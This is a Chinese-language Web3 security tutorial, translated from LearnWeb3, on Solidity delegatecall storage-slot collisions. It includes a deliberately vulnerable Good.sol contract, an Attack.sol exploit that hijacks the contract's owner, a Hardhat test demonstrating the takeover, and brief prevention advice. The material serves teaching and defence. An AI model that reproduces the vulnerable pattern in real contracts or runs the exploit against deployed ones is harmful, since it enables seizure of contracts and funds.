目录

Web3系列教程之高级篇---5:delegatecall委托调用漏洞

https://hicoldcat.oss-cn-hangzhou.aliyuncs.com/img/20220804214339.png

.delegatecall() 是 Solidity 中的一个方法,用于从一个原始合约中调用目标合约中的一个函数。然而,与其他方法不同的是,当使用.delegatecall()在目标合约中执行函数时,上下文从原始合约中传递,即代码在目标合约中执行,但变量在原始合约中被修改。

通过本教程,我们将了解为什么正确理解.delegatecall()的工作原理很重要,否则会产生一些严重后果。

等等,什么?

让我们首先了解这一点是如何运作的。

在使用.delegatecall()时需要注意的是,原始合约的上下文被传递给目标合约,目标合约的所有状态变化都反映在原始合约的状态上,而不是目标合约的状态上,即使该函数是在目标合约上执行的。

嗯,不是很清楚吧,我理解。所以让我们试着通过一个例子来理解。

在以太坊中,一个函数可以表示为4+32*N字节,其中4 bytes为函数选择器,32*N字节为函数参数。

  • 函数选择器。为了得到函数选择器,我们将函数的名称和它的参数类型进行散列,不留空隙,例如,对于像putValue(uint value)这样的东西,你将使用keccak-256散列putValue(uint),这是Ethereum使用的一个散列函数,然后取其前4个字节。为了更好地理解keccak-256和散列,我建议你观看这个 video

  • 函数参数。将每个参数转换为固定长度为32字节的十六进制字符串,并将其连接起来。

我们有两个合约Student.solCalculator.sol。我们不知道Calculator.sol的ABI,但是我们知道他们存在一个add函数,这个函数接收两个uint,并在Calculator.sol中把它们加起来。

让我们看看如何使用delegateCall来从Student.sol中调用这个函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
pragma solidity ^0.8.4;

contract Student {

    uint public mySum;
    address public studentAddress;
    
    function addTwoNumbers(address calculator, uint a, uint b) public returns (uint)  {
        (bool success, bytes memory result) = calculator.delegatecall(abi.encodeWithSignature("add(uint256,uint256)", a, b));
        require(success, "The call to calculator contract failed");
        return abi.decode(result, (uint));
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
pragma solidity ^0.8.4;

contract Calculator {
    uint public result;
    address public user;
    
    function add(uint a, uint b) public returns (uint) {
        result = a + b;
        user = msg.sender;
        return result;
    }
}

我们的Student合同中有一个函数addTwoNumbers,它接收一个地址和两个要相加的数字。它没有直接执行它,而是试图在地址上执行一个.delegatecall(),以获取一个需要两个数字的函数add

我们使用了abi.encodeWithSignature,也和abi.encodeWithSelector一样,它首先进行哈希运算,然后从函数的名称和参数类型中取出前4个字节。在我们的例子中,它做了以下工作。(bytes4(keccak256(add(uint,uint)),然后将参数–ab附加到函数选择器的4个字节上。这些参数每个都是32字节长(32字节=256位,这也是uint256可以存储的)。

所有这些在串联后被传递到delegatecall方法中,该方法在计算器合同的地址上被调用。

实际的添加部分并不那么有趣,有趣的是,Calculator合约实际上设置了一些状态变量。但是请记住,当数值在Calcultor合约中被分配时,它们实际上是被分配到了Student合约的存储空间中,因为deletgatecall在目标合约中执行函数时使用的是原始合约的存储。因此,具体会发生什么情况如下。

https://hicoldcat.oss-cn-hangzhou.aliyuncs.com/img/20220804220118.png

从以前的教程中你知道,solidity中的每个变量槽都是32字节,也就是256位。当我们使用.delegatecall()StudentCalculator时,我们使用了Student 的存储空间,而不是Calculator的存储空间,但问题是,即使我们使用了Student的存储空间,槽的数量也是基于Calculator合约的,在这种情况下,当你在Calculator.soladd函数中给结果赋值时,你实际上是给student 合约中的mySum赋值的。

这可能是个问题,因为存储槽可以有不同数据类型的变量。如果Student合约中的值是按照这个顺序定义的,会怎么样呢?

1
2
3
4
contract Student {
    address public studentAddress;
    uint public mySum;
}

在这种情况下,address变量实际上最终会成为result的值。你可能会想,一个address数据类型怎么可能包含一个uint的值?要回答这个问题,你必须想得低一点。最后,所有的数据类型都只是字节。addressuint都是32字节的数据类型,所以resultuint值可以被设置在address public studentAddress变量中,因为它们都还是32字节的数据。

实际使用案例

.delegatecall()在代理(可升级)合约中被大量使用。由于智能合约在默认情况下是不可升级的,使其可升级的方法通常是有一个不改变的存储合约,其中包含一个实施合约的地址。如果你想更新你的合约代码,你就把执行合约的地址改成新的东西。存储合约使用.delegatecall()进行所有调用,这允许运行不同版本的代码,同时随着时间的推移保持相同的持久化存储,无论你改变多少个实现合约。因此,逻辑可以改变,但数据永远不会被分割。

使用委托调用(delegatecall)进行攻击

但是,由于.delegatecall()修改了调用该函数的合约的存储空间,如果.delegatecall()没有被正确实现,就会设计出一些讨厌的攻击。我们现在将模拟一个使用.delegatecall()的攻击。

将会发生什么?

  • 我们将有三个智能合约Attack.sol、Good.sol和Helper.sol。
  • 黑客将能够使用Attack.sol.delegatecall()来改变Good.sol的所有者。

构建

让我们建立一个例子,你可以体验到攻击是如何发生的。

  • 要设置一个Hardhat项目,请打开终端,在一个新的文件夹中执行这些命令
1
2
npm init --yes
npm install --save-dev hardhat
  • 如果你使用的是Windows系统,请做这个额外的步骤,同时安装这些库 :)
1
npm install --save-dev @nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers
  • 在你安装Hardhat的同一目录下运行。
1
npx hardhat
  • 选择Create a basic sample project
  • 对已指定的Hardhat Project root按回车键
  • 如果你想添加一个.gitignore,请按回车键。
  • 按回车键Do you want to install this sample project's dependencies with npm (@nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers)?

现在你有一个准备好的hardhat项目了!

让我们从创建一个看起来很无辜的合约开始–Good.sol。它将包含Helper合同的地址,以及一个叫做owner的变量。函数setNum将对Helper合约做一个delegatecall)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Good {
    address public helper;
    address public owner;
    uint public num;

    constructor(address _helper) {
        helper = _helper;
        owner = msg.sender;
    }

    function setNum( uint _num) public {
        helper.delegatecall(abi.encodeWithSignature("setNum(uint256)", _num));
    }
}

在创建完Good.sol之后,我们将在contracts目录下创建名为Helper.solHelper合同。这是一个简单的合约,通过setNum函数更新num的值。由于它只有一个变量,该变量将永远指向Slot 0。当与delegatecall一起使用时,它将修改原始合约中Slot 0的值。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Helper {
    uint public num;

    function setNum(uint _num) public {
        num = _num;
    }
}

现在在contracts目录下创建一个名为Attack.sol的合同,并编写以下几行代码。我们将一步步了解它是如何工作的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "./Good.sol";

contract Attack {
    address public helper;
    address public owner;
    uint public num;

    Good public good;

    constructor(Good _good) {
        good = Good(_good);
    }

    function setNum(uint _num) public {
        owner = msg.sender;
    }

    function attack() public {
        // This is the way you typecast an address to a uint
        good.setNum(uint(uint160(address(this))));
        good.setNum(1);
    }
}

攻击者将首先部署Attack.sol合约,并在构造函数中获取一个Good合约的地址。然后,他将调用attack函数,该函数将进一步最初调用Good.sol中的setNum函数。

值得注意的是最初调用setNum的参数,它的地址被类型化为一个uint256,这是它自己的地址。在Good.sol合约中的setNum函数接收到作为uint的地址后,它进一步对Helper合约进行delegatecall,因为现在帮助者变量被设置为Helper合约的地址。

Helper合约中,当setNum被执行时,它设置了_num,在我们的例子中,现在是Attack.sol的地址被打成一个uint,变成num。请注意,由于num位于Helper合约的Slot 0,它实际上会把Attack.sol的地址分配给Good.solSlot 0。喔… 你可能知道这是怎么回事了。GoodSlot 0是帮助者变量,这意味着,攻击者现在已经成功地将p地址变量更新到它自己的合同上。

现在,helper合同的地址已经被Attack.sol的地址覆盖了。在Attack.solattack函数中被执行的下一件事是另一个setNum,但数字为1。数字1在这里没有任何意义,它可以被设置为任何东西。

现在,当setNum在Good.sol中被调用时,它将把调用委托给Attack.sol,因为helper合约的地址已经被覆盖了。

Attack.sol内的setNum被执行,它将owner设置为msg.sender,在这种情况下就是Attack.sol本身,因为它是delegatecall的原始调用者,而且因为所有者在Attack.solSlot 1Good.solSlot 1将被覆盖,也就是它的owner

攻击者能够改变Good.solowner👀 🔥。

让我们试着用代码来实际执行这个攻击。我们将利用Hardhat测试来演示这个功能。

test文件夹中创建一个名为attack.js的新文件并添加以下几行代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
const { expect } = require("chai");
const { BigNumber } = require("ethers");
const { ethers, waffle } = require("hardhat");

describe("Attack", function () {
  it("Should change the owner of the Good contract", async function () {
    // Deploy the helper contract
    const helperContract = await ethers.getContractFactory("Helper");
    const _helperContract = await helperContract.deploy();
    await _helperContract.deployed();
    console.log("Helper Contract's Address:", _helperContract.address);

    // Deploy the good contract
    const goodContract = await ethers.getContractFactory("Good");
    const _goodContract = await goodContract.deploy(_helperContract.address);
    await _goodContract.deployed();
    console.log("Good Contract's Address:", _goodContract.address);

    // Deploy the Attack contract
    const attackContract = await ethers.getContractFactory("Attack");
    const _attackContract = await attackContract.deploy(_goodContract.address);
    await _attackContract.deployed();
    console.log("Attack Contract's Address", _attackContract.address);

    // Now lets attack the good contract

    // Start the attack
    let tx = await _attackContract.attack();
    await tx.wait();

    expect(await _goodContract.owner()).to.equal(_attackContract.address);
  });
});

要执行测试以验证Good合同的owner确实发生了变化,在你的终端上,指向包含本层所有代码的目录,执行以下命令

1
npx hardhat test

如果你的测试通过了,那么good合约的所有者地址确实被改变了,因为我们在测试结束时将good中的owner变量的值等同于Attack合约的地址。

开始吧🚀🚀

预防

使用无状态的合同库,这意味着你委托调用的合同应该只用于执行逻辑,不应该维护状态。这样一来,库中的函数就不可能修改调用合约的状态。

资料

原文:https://www.learnweb3.io/tracks/senior/delegate-call

https://hicoldcat.oss-cn-hangzhou.aliyuncs.com/img/my.png